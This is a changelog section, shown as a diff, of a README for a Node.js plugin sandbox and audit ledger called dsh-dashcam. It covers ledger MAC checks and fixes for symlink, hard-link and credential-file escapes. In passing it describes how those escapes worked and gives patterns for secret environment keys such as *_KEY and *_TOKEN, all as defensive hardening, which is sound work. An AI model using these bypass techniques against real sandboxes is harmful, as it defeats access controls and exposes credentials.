- **Glob ledger aggregation**: `fs.glob` / `globSync` / `fs.promises.glob` no longer write one ledger entry per result. 100 matches = **1** `two-key-batch` record (judgments still happen per target). The async iterator chunks at 256 entries, **judging everything before delivering**.
|
|
535
|
+
- **Worker eval no longer writes source into the ledger**: `new Worker(code, {eval:true})`'s command is now `worker:eval:<first 12 hex of source sha256>` — dedupeable, auditable, but the source never lands on disk.
|
|
536
|
+
- **Audit semantics of batch records fixed**: mixed-capability batches no longer record as a single capability (otherwise `cred.read` could hide inside `fs.read`); they record `capability:'mixed'` with `scope.capabilities` listing everything; out-of-bounds inside the observe window is no longer recorded as allow.
|
|
537
|
+
- **MAC key custody**: `resolveLedgerMacKey()` supports "value > file > environment variable"; shorter than 32 bytes is rejected outright; explicitly specified but unresolvable always fails closed; `LocalHost.redact()` returns a key-free summary.
|
|
538
|
+
- **CLI `metrics` verifies before computing**: an unverifiable ledger (including `mac_key_missing`) exits non-zero and hints at `--mac-key-file` / `--mac-key-env`; supports `--anchor <file>`.
|
|
539
|
+
- Metric semantics: new side-by-side fields `batchRecords` / `batchedTargets` / `effectiveRequests` / `targetInterceptionRate` etc.; old field semantics unchanged (record count vs target count, both readings coexist).
|
|
540
|
+
- Case count 114 → 135 (six new groups: glob / worker / mac-custody / batch guard / metrics / invariants).
|
|
541
|
+
|
|
542
|
+
## 1.7.0 fixes (three hard bugs in mac integrity)
|
|
543
|
+
|
|
544
|
+
- **Keyless verification no longer silently passes**: a ledger containing v3 lines verified without a `macKey` returns `mac_key_missing`. Previously `ok === true` — calling "didn't verify the mac" "verified".
|
|
545
|
+
- **No version downgrades**: v1/v2 lines after v3 → `version_downgrade`, blocking "append one mac-less lower-version line".
|
|
546
|
+
- **New external anchor**: `ledger.anchor()` / `verify({ anchor })`. A hash chain cannot detect tail truncation — cut off the last few lines and the remaining prefix is still self-consistent; the anchor is the only thing that can catch it.
|
|
547
|
+
- **`fs.promises.link` gains the read check**: `fs.link` was fixed last round but the promises version was missed — the hard-link escape was still open.
|
|
548
|
+
- **fd re-check uses native realpath**: inside the async `open` callback `callDepth` is already 0; using the wrapped `fs.realpathSync` would re-enter the guard chain — one extra ledger entry, and a write-only `open` would judge itself out-of-bounds.
|
|
549
|
+
- Case count 108 → 114 (five new in `test/ledger-mac.test.js` + one hard-link case).
|
|
550
|
+
|
|
551
|
+
## 1.6.0 new (closed-world completion + path hardening)
|
|
552
|
+
|
|
553
|
+
- **net / proc capability handles**: `createCapabilityHandles` now returns `{ fs, net, proc }`. `net` is outbound-only (`fetch` / `request` / `get` / `connect` / `createConnection`), port required, Unix sockets rejected outright; `proc` provides `spawn/exec/fork/kill`, with command-name semantics reusing the Bridge's `bridge.firstCommand` — no second parser.
|
|
554
|
+
- **Symlink escape closed**: judgments now target **the real path the OS will actually operate on** (`realpathSafe`); links inside `$PLUGIN/**` can no longer carry the judgment out of scope. Credential escalation also judges by real path — chaining `id_rsa` into `notes.txt` no longer downgrades.
|
|
555
|
+
- **pluginRoot normalizes to a real root first**: otherwise macOS's `/var → /private/var` would invalidate every `$PLUGIN` grant.
|
|
556
|
+
- **Hard-link hole closed**: `link` / `linkSync` now also require `fs.read` on `args[0]` — otherwise "link an external file into the plugin directory and read it as a normal file" bypasses everything.
|
|
557
|
+
- **`resolvePath` matches derive**: what's exported to the host is also the real path, avoiding the host re-judging differently.
|
|
558
|
+
- **Quarantine judgment unified** as `isQuarantined()`: `portrait` / `activate` / gate reports no longer each implement their own.
|
|
559
|
+
- Case count 84 → 104 (new groups: `net-proc-handle` / `symlink` / `portrait-labels`; 3 explicitly skipped on Windows for lacking symlink permission).
|
|
560
|
+
|
|
561
|
+
## 1.5.0 new (capability injection)
|
|
562
|
+
|
|
563
|
+
- **`require('fs')` optionally returns capability handles**: with `sandbox.mode='handles'` (explicit opt-in), `fs` / `node:fs` / `fs/promises` are redirected scoped by `pluginRoot`; default `global` uses native fs + Bridge guard, so existing plugins need zero changes.
|
|
564
|
+
- **Handles gain `constants`**: just a bag of numbers, no capability surface; allowing it cuts migration cost significantly.
|
|
565
|
+
- **Both paths default identically**: `activate()` and `LocalHost` both default to `global`, so "gates one way, runtime another" cannot happen.
|
|
566
|
+
- **Metrics split**: new `undeclaredInterceptions` / `undeclaredInterceptionRate` and `grantDenials` / `grantDenialRate` — "the plugin went out of bounds" and "the host never issued a key" should not share one interception rate.
|
|
567
|
+
- Case count 77 → 84 (seven new in `test/sandbox.test.js`).
|
|
568
|
+
|
|
569
|
+
## 1.4.0 fixes (load window and ledger compatibility)
|
|
570
|
+
|
|
571
|
+
- **The load window is no longer a vacuum**: Hooks install before `require`; inside the window, observe mode — judgments and bookkeeping still happen, just no blocking. Fail-closed resumes immediately after the window closes. New `guard.beginObserve()` / `endObserve()` / `isObserving()` and `stats.observed`.
|
|
572
|
+
- **Entry loading no longer pollutes the ledger**: the host reads the source first, then `_compile`s inside the window; the loader's own file reads are not recorded as plugin behavior.
|
|
573
|
+
- **`admitting` becomes a private field**: it used to be a public property — one line from a caller could skip every gate.
|
|
574
|
+
- **Strict mode never executes plugin code**: when pre-gates block, `loadability` is skipped with `loadability_skipped`.
|
|
575
|
+
- **Ledger v1 compatibility**: `verify()` selects field sets by `v`; historical ledgers stay verifiable; v1 records stuffed with `intercepted` get caught by the hash.
|
|
576
|
+
- **`guard.coverage()` / `LocalHost.coverage()`**: the host can obtain the current list of controlled entry points directly.
|
|
577
|
+
- Case count 69 → 77 (six new in `test/observe.test.js` and two v1-ledger cases).
|
|
578
|
+
|
|
579
|
+
## 1.3.0 new (non-invasive protection)
|
|
580
|
+
|
|
581
|
+
- **manifest**: a missing `dashcam` no longer errors; a default `{ level: 'legacy', quarantine: true }` is generated; adds `isQuarantined()`.
|
|
582
|
+
- **Guard entrance Hooks**: `guard.installNativeHooks()` / `uninstallNativeHooks()`; `createGuardChain({ nativeHooks: true })` installs at the entrance directly, and both `LocalHost` and `activate` go this way.
|
|
583
|
+
- **Gates become labels**: `report.labels` / `securityLabels` / `labelLines`; stage states gain `warn`; only `MALICIOUS_CODES` and the blacklist block, `ok = no blocks`.
|
|
584
|
+
- **Ledger v2**: new fixed field `intercepted`; `Ledger.interceptions()` outputs "undeclared API calls actually intercepted".
|
|
585
|
+
- **Default policy**: `enforcement = { mode: 'advisory', allowLegacy: false, requireSignature: false }`; `required` / the enterprise channel keep refuse-to-install semantics.
|
|
586
|
+
- Case count 67 → 69 (`audit` gains intercepted and entrance-Hook cases).
|
|
587
|
+
|
|
588
|
+
## 1.2.0 new
|
|
589
|
+
|
|
590
|
+
- **Capability handles (experimental)**: `createCapabilityHandles({ guard })` provides a closed `fs` facade — methods not listed do not exist, fd arguments are not accepted, `open()` returns a restricted handle without `fd`, and the object is frozen. This is the "swap in a small world" route: new plugins get handles, and the Bridge serves only as a compatibility layer for old code. `handle.coverage()` and `bridge.coverage()` can be compared directly.
|
|
591
|
+
- `open`'s flags judgment is extracted to `capabilityNeedsForOpen`, shared by the Bridge and the handles.
|
|
592
|
+
- Case count 61 → 67 (new `test/handle.test.js`).
|
|
593
|
+
|
|
594
|
+
## 1.1.0 changes (breaking; the default flipped to advisory from 1.3.0)
|
|
595
|
+
|
|
596
|
+
- **Not loadable by default**: `policy.enforcement.mode` defaulted to `required`, so `legacy` plugins could not install on any channel and `activate()` rejected outright. Upgrade path: set `policy.enforcement = { mode: 'advisory' }` explicitly to restore the old behavior (record a rule-level rollback).
|
|
597
|
+
> 1.3.0 changed the default to `advisory`; this section remains as history only.
|
|
598
|
+
- **Admission built into the host**: `LocalHost.install` ran the full gate pipeline itself with no skip parameters; admission verdicts were written to the Ledger (`ruleId=admission`). Constructing `LocalHost` required `trust`, otherwise admission failed.
|
|
599
|
+
> Since 1.3.0, no trust table just yields an `Untrusted` label and `install` still succeeds; `trust` is only required in `required` mode.
|
|
600
|
+
- **`env.write` sensitive keys escalate to `cred.write`**: overwriting variables like `*_KEY` / `*_TOKEN` requires separate authorization.
|
|
601
|
+
- **Audit attribution fixed**: an `allow` record's `reason` comes from the declaration that actually covers the request, not the first declaration with the same capability.
|
|
602
|
+
- **One-Seal two phases**: `reserve → commit`; on Ledger write failure, `release`, so one-time authorizations are no longer burned.
|
|
603
|
+
- **Bridge entry completion**: `open` / `openSync` / `opendir` / `realpath` / `truncate` / `chmod` / `chown` / `utimes` / `mkdtemp` /
|
|
604
|
+
`symlink` / `link`, `net.Socket#connect`, `dns.promises`; adds `bridge.coverage()` self-check.
|
|
605
|
+
Note that `mkdtemp` now counts as `fs.write`, so hosts/tests should create temp directories before installing the Bridge.
|
|
606
|
+
- **`Ledger.verify()`** reports `json_invalid` and returns `head=null` on a corrupted tail line instead of throwing.
|
|
607
|
+
- Case count 44 → 61 (new `test/audit.test.js`, `test/mandate.test.js`).
|
|
608
|
+
|
|
609
|
+
## Version mapping (core ↔ host adapter) and a note on early authorship
|
|
610
|
+
|
|
611
|
+
The core package and the host adapter version independently — the adapter tracks host-side integration work:
|
|
612
|
+
|
|
613
|
+
| Core (`dsh-dashcam`) | Host adapter (`dsh-dashcam-host`) | Milestone |
|
|
614
|
+
| --- | --- | --- |
|
|
615
|
+
| 1.10.12 | 1.10.12 | host adapter merged into this repo as a git subtree |
|
|
616
|
+
| 1.11.0 | 1.11.0 | rename dsh-covenant → dsh-dashcam |
|
|
617
|
+
| 1.12.0 | 1.14.0 (current) | core adds ingress audit; adapter adds ingress wiring and the Agent Dashcam panel |
|
|
618
|
+
|
|
619
|
+
Going forward, each release tag's annotation states the matching host adapter version.
|
|
620
|
+
|
|
621
|
+
Commits from the 1.6.0–1.10.x era use a placeholder identity (`dsh-covenant <dev@local>`); from the rename onward they use the GitHub noreply address. History is intentionally left unrewritten.
|
|
622
|
+
|
|
623
|
+
## License
|
|
624
|
+
|
|
625
|
+
MIT
|